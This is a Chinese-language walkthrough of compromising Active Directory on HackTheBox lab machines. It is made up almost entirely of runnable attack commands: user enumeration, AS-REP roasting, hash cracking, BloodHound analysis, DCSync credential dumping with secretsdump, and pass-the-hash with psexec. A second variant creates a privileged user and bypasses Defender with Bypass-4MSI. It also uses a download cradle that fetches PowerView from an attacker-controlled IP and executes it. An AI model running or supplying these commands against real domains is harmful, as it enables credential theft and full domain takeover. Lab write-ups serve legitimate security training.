目录导航
破解Active Directory你需要知道的一切
举个例子,这里我使用了一个 htb 盒子
1)获取域名:
crackmapexec smb 10.10.10.175
smbmap -H 10.10.10.175 -u ‘’ -p ‘’
2)尝试获取用户列表:
GetADUsers.py egotistical-bank.local/ -dc-ip 10.10.10.175 -debug

轻量级目录访问协议 (LDAP)
./windapsearch.py -U — full — dc-ip 10.10.10.182
上面的命令将列出域中的所有用户。

3)枚举共享:

4) 从网站的团队名称中获取用户名列表:
./username-anarchy — input-file fullnames.txt — select-format first,flast,first.last,firstl > unames.tx

5)另一种获取用户列表的尝试:

6) 获取域库:
ldapsearch -x -h 10.10.10.175 -s base namingcontexts

7) 要获取有关域的更多信息:
ldapsearch -x -h 10.10.10.175 -b ‘DC=EGOTISTICAL-BANK,DC=LOCAL’

8) 域上的用户爆破:
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt — dc 10.10.10.175

9) 获取哈希
我将使用从 Kerbrute 收集的用户列表,并运行GetNPUsers.py来查找易受攻击的用户。三个以不易受攻击的方式返回,但一个给出了哈希值:
GetNPUsers.py ‘EGOTISTICAL-BANK.LOCAL/’ -usersfile users.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.175

10) 破解哈希
hashcat -m 18200 hashes.aspreroast /usr/share/wordlists/rockyou.txt — force

11) 猎犬
我又跑winPEAS.exe
了,但没有什么新东西扑向我。因为有 AD 的东西,我去了Bloodhound。
下载/安装
我会将存储库克隆到/opt
,并获得最新版本的二进制文件。我将开始neo4j
(apt install neo4j
如果尚未安装)neo4j start
,然后运行 Bloodhound。如果您以 root 身份运行,则需要该-no-sandbox
标志。
如果是全新安装(或者如果您忘记了之前安装的密码,您可以删除/usr/share/neo4j/data/dbms/auth
,然后就像全新安装一样),我需要neo4j
通过运行neo4j console
、访问它返回的 url 并登录来更改密码默认信用,neo4j/neo4j。它会在那时强制密码更改它们。现在BloodHound程序可以连接了,首先想到我需要数据。
运行 SharpHound.exe
在我可以在 BloodHound 中进行分析之前,我需要收集一些数据。我将从SharpHound.exe
injestors 文件夹中抓取,并在我的 SMB 共享中制作一个副本。然后我可以直接从那里运行它,输出也会写入共享:

分析结果
我将.zip
通过单击右上角的上传数据按钮将文件导入 BloodHound。Tt 报告成功,让我处于空白页面。有一些可能有用的预制查询,但我喜欢从我已经有权访问的用户开始。我将在左上角的栏中搜索 [email protected],它会出现在图表中。在左侧,我要查找出站对象控制 – 这些是该用户拥有权限的项目。在这种情况下,有一个:

单击“1”将该项目添加到图表中:

此帐户有权访问域上的 GetChanges 和 GetChangesAll。谷歌搜索会很快指出关于 DCSync 攻击的文章很少,或者我可以右键单击标签(你必须进入正确的位置)并获取它的菜单:
单击帮助,有一个滥用信息选项卡,其中包含有关如何滥用此权限的说明:

12) 直流同步
秘密转储
我进行 DCSync 攻击的首选方法是使用secretsdump.py
,它允许我从我的 Kali 机器运行 DCSync 攻击,前提是我可以通过 TCP 445 和 135 以及高 RPC 端口与 DC 通信。这避免了与 AV 的冲突,尽管它确实会产生网络流量。
我只需要给它一个格式为的目标字符串[username]:[password]@[ip]
:
secretsdump.py ‘svc_loanmgr:[email protected]’

13) Shell
psexec.py -hashes ‘aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff’ -dc-ip 10.10.10.175 [email protected]

DCSync 攻击 V2


net user john abc123! /add /domainnet group "Exchange Windows Permissions" john /addnet localgroup "Remote Management Users" john /add
上面的命令创建了一个名为 john 的新用户并将他添加到所需的组中。接下来,下载 PowerView 脚本并将其导入当前会话。

menu > Bypass-4MSI
Bypass-4MSI 命令用于在导入脚本之前逃避防御者。接下来,我们可以将 Add-ObjectACL 与 john 的凭据一起使用,并授予他 DCSync 权限。

IEX(New-Object Net.WebClient).downloadString('[<http://10.10.14.11/PowerView.ps1>](<http://10.10.14.11/PowerView.ps1>)')$pass = convertto-securestring 'abc123!' -asplain -force$cred = new-object system.management.automation.pscredential('htb\\john', $pass)Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity john -Rights DCSync
运行后:
secretsdump.py htb/[email protected]
其中 htb 是域
Impacket 的脚本现在可以作为 john 运行,并用于显示所有域用户的 NTLM 哈希。

获得的域管理员哈希可用于通过 psexec 登录。
